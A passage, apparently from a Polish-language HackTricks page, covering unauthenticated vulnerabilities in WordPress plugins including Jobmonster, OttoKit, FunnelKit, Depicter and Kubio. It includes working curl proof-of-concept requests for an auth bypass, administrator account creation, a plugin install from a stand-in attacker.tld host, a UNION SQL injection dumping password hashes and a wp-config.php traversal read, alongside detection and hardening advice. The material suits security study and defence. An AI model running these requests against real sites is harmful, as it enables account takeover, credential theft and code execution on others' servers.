- Ustaw provider na nieobsługiwaną wartość (lub pomiń go), by trafić do gałęzi domyślnej i przekazać id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Oczekiwane wskaźniki powodzenia
- HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* dla zaatakowanego użytkownika; kolejne żądania są uwierzytelnione.
Znajdowanie nazwy akcji
- Przeanalizuj motyw/plugin pod kątem rejestracji add_action(‘wp_ajax_nopriv_…’, ‘…’) w kodzie social login (np. framework/add-ons/social-login/class-social-login.php).
- Przeszukaj (grep) wystąpienia wp_set_auth_cookie(), get_user_by(‘email’, …) w handlerach AJAX.
Lista kontrolna wykrywania
- Logi webowe pokazujące nieautoryzowane POSTy do /wp-admin/admin-ajax.php z akcją social-login i id=
. - Odpowiedzi 200 z JSONem powodzenia bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent.
Wzmocnienie zabezpieczeń
- Nie wyprowadzaj tożsamości z danych od klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zweryfikowanego provider token/ID.
- Wymagaj CSRF nonces i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że absolutnie konieczne.
- Weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych providerów (bez fallbacku do POST id).
- Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na krawędzi (zablokowanie podatnej akcji) do czasu naprawy.
Zachowanie po łacie (Jobmonster 4.8.0)
- Usunięto niebezpieczny fallback z $_POST[‘id’]; $user_email musi pochodzić z zweryfikowanych gałęzi provider w switch($_POST[‘using’]).
Nieautoryzowana eskalacja uprawnień przez wydawanie REST token/key na przewidywalnej tożsamości (OttoKit/SureTriggers ≤ 1.0.82)
Niektóre wtyczki udostępniają REST endpoints, które wydają wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli route uwierzytelnia się jedynie na podstawie łatwego do odgadnięcia atrybutu (np. username) i nie powiązuje klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, dowolny nieautoryzowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admin, akcje wtyczki → RCE).
- Podatna ścieżka (przykład): sure-triggers/v1/connection/create-wp-connection
- Błąd: akceptuje username, wydaje connection key bez current_user_can() lub rygorystycznej permission_callback
- Wpływ: pełne przejęcie poprzez powiązanie wygenerowanego klucza z wewnętrznymi uprzywilejowanymi akcjami
PoC – wygeneruj connection key i użyj go
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Dlaczego to jest podatne
- Wrażliwa REST route chroniona wyłącznie niską entropią potwierdzenia tożsamości (username) lub brakiem permission_callback
- Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalne obejście
Lista kontrolna wykrywania
- Przeszukaj kod pluginu pod kątem register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Każda route, która wydaje tokens/keys na podstawie tożsamości podanej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability
- Szukaj kolejnych route, które akceptują wygenerowany token/key bez sprawdzeń capability po stronie serwera
Wzmocnienie
- Dla każdej uprzywilejowanej REST route: wymagaj permission_callback, który wymusza current_user_can() dla wymaganej capability
- Nie generuj długotrwałych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability przy użyciu
- Waliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → instalacja dowolnego pluginu bez uwierzytelnienia (FunnelKit Automations ≤ 3.5.3)
Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pomyślne sprawdzenie nonce jako zielone światło i pomija sprawdzenia capability dla uprzywilejowanych operacji (np. install/activate plugins), nieuwierzytelnieni atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored lub vulnerable plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Lista kontrolna wykrywania
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Każda ścieżka kodu, która ustawia $skip_caps = true po walidacji nonce
Wzmocnienie
- Zawsze traktuj nonce jako tokeny CSRF tylko; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce
- Wymagaj current_user_can(‘install_plugins’) i current_user_can(‘activate_plugins’) przed dotarciem do kodu instalatora
- Odrzucaj dostęp bez uwierzytelnienia; unikaj ujawniania nopriv AJAX actions dla uprzywilejowanych przepływów
SQLi bez uwierzytelnienia przez parametr s (search) w akcjach depicter-* (Depicter Slider ≤ 3.6.1)
Wiele akcji depicter-* pobierało parametr s (search) i konkatenowało go do zapytań SQL bez parametryzacji.
- Parametr: s (search)
- Błąd: bezpośrednie konkatenowanie łańcuchów w klauzulach WHERE/LIKE; brak zapytań przygotowanych i sanitizacji
- Wpływ: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grepuj depicter-* action handlers oraz bezpośrednie użycie $_GET[‘s’] lub $_POST[‘s’] w zapytaniach SQL
- Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query() łączące parametr s
Hardening
- Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane metaznaki po stronie serwera
- Dodaj ścisłą allowlistę dla s i normalizuj do oczekiwanego charset/length
Local File Inclusion bez uwierzytelnienia przez niezwalidowaną ścieżkę szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1)
Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze szablonu bez normalizacji/ograniczenia pozwala na odczyt dowolnych lokalnych plików, a czasem wykonanie kodu jeśli includowalne pliki PHP/logi zostaną załadowane do runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: brak normalizacji/allowlisty; path traversal dozwolony
- Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w specyficznych środowiskach (log poisoning, includable PHP)
PoC – odczyt wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Lista kontrolna wykrywania
- Każdy handler łączący ścieżki żądań w include()/require()/read sinks bez ograniczenia przez realpath()
- Szukaj wzorców traversal (../) wychodzących poza zamierzony katalog templates
Wzmocnienie
- Wymuszaj szablony z allowlisty; rozwiąż ścieżki za pomocą realpath() i wymagaj str_starts_with(realpath(file), realpath(allowed_base))
- Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki bezwzględne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

